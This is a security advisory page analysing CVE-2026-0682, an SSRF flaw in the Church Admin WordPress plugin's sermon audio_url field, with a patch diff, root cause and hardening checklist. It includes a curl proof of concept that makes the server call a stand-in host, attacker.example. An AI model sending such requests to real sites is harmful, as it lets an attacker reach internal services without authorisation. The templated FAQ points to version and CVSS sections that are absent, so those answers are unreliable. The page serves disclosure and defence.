SECURITY ADVISORY / 01

CVE-2026-0682 Exploit & Vulnerability Analysis

Complete CVE-2026-0682 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:church-admin NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Requires an authenticated Administrator account.

TARGET="https://target.example"
COOKIE="wordpress_logged_in_abcd1234=..."

curl -i -X POST "$TARGET/wp-admin/admin.php?page=church_admin_sermons&action=save" \
  -H "Cookie: $COOKIE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-raw "audio_url=http://attacker.example/ssrf-callback&file_name=test.mp3&file_title=Test&service_id=1&series_id=1&speaker=1&private=0&length=0"

The Church Admin server will dereference the attacker-controlled audio_url while resolving the sermon file type. The attacker can confirm successful SSRF by observing an incoming HTTP request on http://attacker.example/ssrf-callback, even though the WordPress admin response itself remains generic.

Why this still matters at admin: An admin session can be stolen, forged, or abused by a malicious insider; once authenticated, the attacker can make the site query internal-only services such as metadata endpoints, backend APIs, or localhost. The plugin’s audio_url field is a direct SSRF vector in the sermon editor.

What the Patch Did

Before:

$sqlsafe['audio_url']=$form['audio_url'];
$audioURL=$form['audio_url'];
church_admin_debug('URL: '.$sqlsafe['audio_url']);

$mimeType=church_admin_getRemoteMimeType( $sqlsafe['audio_url'] );

$dot_and_ext = substr($sqlsafe['audio_url'] ,-4);

After:

$sqlsafe['audio_url']=esc_sql($form['audio_url']);
$audioURL=$form['audio_url'];

$mimeType=church_admin_getRemoteMimeType( $sqlsafe['audio_url'] );//doesn't work for all servers

$ext = substr($form['audio_url'],-4);

Before:

if ( empty( $file_id) )$file_id=$wpdb->get_var('SELECT file_id FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE external_file="'.$sqlsafe['audio_url'].'" AND length="'.$length.'" AND private="'.$private.'" AND file_name="'.$file_name.'" AND file_title="'.$sqlsafe['file_title'].'" AND file_description="'.$sqlsafe['file_description'].'" AND service_id="'.$sqlsafe['service_id'].'" AND series_id="'.$sqlsafe['series_id'].'" AND speaker="'.$speaker.'"');

After:

if ( empty( $file_id) )$file_id=$wpdb->get_var('SELECT file_id FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE external_file="'.esc_sql($form['audio_url']).'" AND length="'.$length.'" AND private="'.$private.'" AND file_name="'.$file_name.'" AND file_title="'.$sqlsafe['file_title'].'" AND file_description="'.$sqlsafe['file_description'].'" AND service_id="'.$sqlsafe['service_id'].'" AND series_id="'.$sqlsafe['series_id'].'" AND speaker="'.$speaker.'"');

The patch added esc_sql() around the user-controlled audio_url before it is interpolated into SQL queries. That is a WordPress database escaping control for the $wpdb API.

Root Cause

This is CWE-918: Server-Side Request Forgery. User-supplied POST data from audio_url is stored in $form['audio_url'], copied into $sqlsafe['audio_url'], and then passed without validation into church_admin_getRemoteMimeType(). That function performs an outbound HTTP request on behalf of the application, so the attacker-controlled audio_url crosses the boundary from user input into the server-side HTTP client and can reach internal or localhost-only endpoints.

Why It Works

The load-bearing line is the remote MIME-type lookup:

$mimeType=church_admin_getRemoteMimeType( $sqlsafe['audio_url'] );

If this line did not exist, the server would not make the SSRF call. The added esc_sql() calls protect the SQL query paths but do not stop the remote fetch, because esc_sql() is designed for database escaping, not URL validation. The other changes in the patch — escaping the SQL source and switching extension extraction to use $form['audio_url'] directly — are repair work for query safety and string handling, not for the SSRF sink itself.

Hardening Checklist

  • Validate URLs before remote fetch with wp_http_validate_url( $url ) and reject local/internal addresses.
  • Escape database input with esc_sql() or, preferably, use $wpdb->prepare() for all SQL statements.
  • Sanitize URL fields with esc_url_raw() or sanitize_text_field() before storing or reusing them.
  • Restrict admin-only actions with current_user_can( 'manage_options' ) or the plugin’s specific capability check.
  • Avoid dereferencing user-supplied URLs unless absolutely necessary; if needed, perform the lookup server-side only after strict allowlisting.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-0682

Frequently asked questions about CVE-2026-0682

What is CVE-2026-0682?

CVE-2026-0682 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-0682?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-0682. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-0682 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-0682?

CVE-2026-0682 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-0682?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2026-0682?

The severity rating and CVSS scoring for CVE-2026-0682 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.